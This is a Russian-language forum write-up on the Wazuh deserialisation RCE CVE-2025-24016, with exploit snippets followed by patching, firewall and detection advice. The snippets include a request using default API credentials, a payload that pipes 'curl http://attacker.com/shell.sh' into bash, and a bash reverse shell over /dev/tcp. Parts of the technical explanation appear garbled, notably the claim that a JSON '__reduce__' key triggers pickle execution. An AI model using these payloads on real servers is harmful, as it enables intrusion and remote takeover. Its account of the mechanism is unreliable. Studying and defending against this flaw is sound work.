Уязвимость BDU:2025-01366 (CVE-2025-24016) функции «as_wazuh_object» Wazuh
Уязвимость BDU:2025-01366 (CVE-2025-24016) в системе Wazuh связана с небезопасной десериализацией данных в модуле DistributedAPI. Функция as_wazuh_object, используемая для восстановления объектов из JSON-данных, некорректно обрабатывает пользовательский ввод. Это позволяет злоумышленнику внедрить произвольные объекты Python, что приводит к выполнению кода на сервере Wazuh (RCE). Уязвимость актуальна для версий Wazuh до 4.9.1.
Технические детали
Механизм десериализации
Wazuh использует собственную логику для десериализации параметров, передаваемых между узлами кластера или компонентами системы. Например, при обработке запросов к API (к примеру, /run_as) данные преобразуются из JSON в объекты Python с помощью функции as_wazuh_object. В уязвимых версиях этот процесс допускает создание объектов с произвольными атрибутами, включая опасные методы (например, os.system, subprocess.run).Условия эксплуатации
- Доступ к API Wazuh (порт 55000 по умолчанию). Это требует нахождения в локальной сети или открытого доступа к серверу.
- Наличие действительных учетных данных для авторизации (например, wazuh-wui:MyS3cr37P450r.*- или других компрометированных данных).
- Версия Wazuh ≤ 4.9.0.
Анализ эксплоитов из общего доступа
Эксплоит 1: Использование reduce
Первый PoC использует метод __reduce__, специфичный для модуля pickle в Python. При десериализации __reduce__ возвращает кортеж с функцией и аргументами, которые выполняются на сервере. Пример полезной нагрузки:
Python:
{
"__reduce__": [
"__import__('os').system",
["whoami"]
]
}
Этот код вызывает os.system("whoami") при десериализации JSON-запроса.
Эксплоит 2: Инъекция через unhandled_exc
Второй эксплоит пытается использовать обработку исключений в Wazuh:
Python:
payload = {
"__unhandled_exc__": {
"__class__": "os.system",
"__args__": [
f"bash -i >& /dev/tcp/{args.ip}/{args.port} 0>&1"
]
}
}
Однако такой подход менее надежен, так как требует, чтобы сервер обрабатывал исключения определенным образом (что могло быть исправлено в патче).
Пример эксплуатации через Python-скрипт
Фрагмент кода из первого эксплоита:
Python:
target = "http://10.0.0.5:55000"
auth_header = base64.b64encode(b"wazuh-wui:MyS3cr37P450r.*-").decode()
payload = {
"__reduce__": ["__import__('os').system", ["curl http://attacker.com/shell.sh | bash"]]
}
response = requests.post(
f"{target}/security/user/authenticate/run_as",
headers={"Authorization": f"Basic {auth_header}"},
json=payload,
verify=False
)
Этот код загружает и выполняет скрипт с удаленного сервера.
Защита и рекомендации
- Обновление
Установите Wazuh версии 4.9.1 или выше, где исправлена логика десериализации. - Ограничение доступа к API
- Запретите внешний доступ к порту 55000 через фаервол.
- Используйте VPN для доступа к панели управления.
- Мониторинг запросов
Настройте правила для обнаружения подозрительных запросов к /run_as, например:
Пример правила для Wazuh Manager:
<rule id="100001">
<description>RCE Attempt via DistributedAPI</description>
<regex>"__reduce__"|"__unhandled_exc__"</regex>
<group>wazuh_api_audit</group>
</rule>
Регулярно меняйте пароли по умолчанию и используйте многофакторную аутентификацию.
Bonus:
Вы должны быть зарегистрированы для просмотра ссылок
Вы должны быть зарегистрированы для просмотра вложений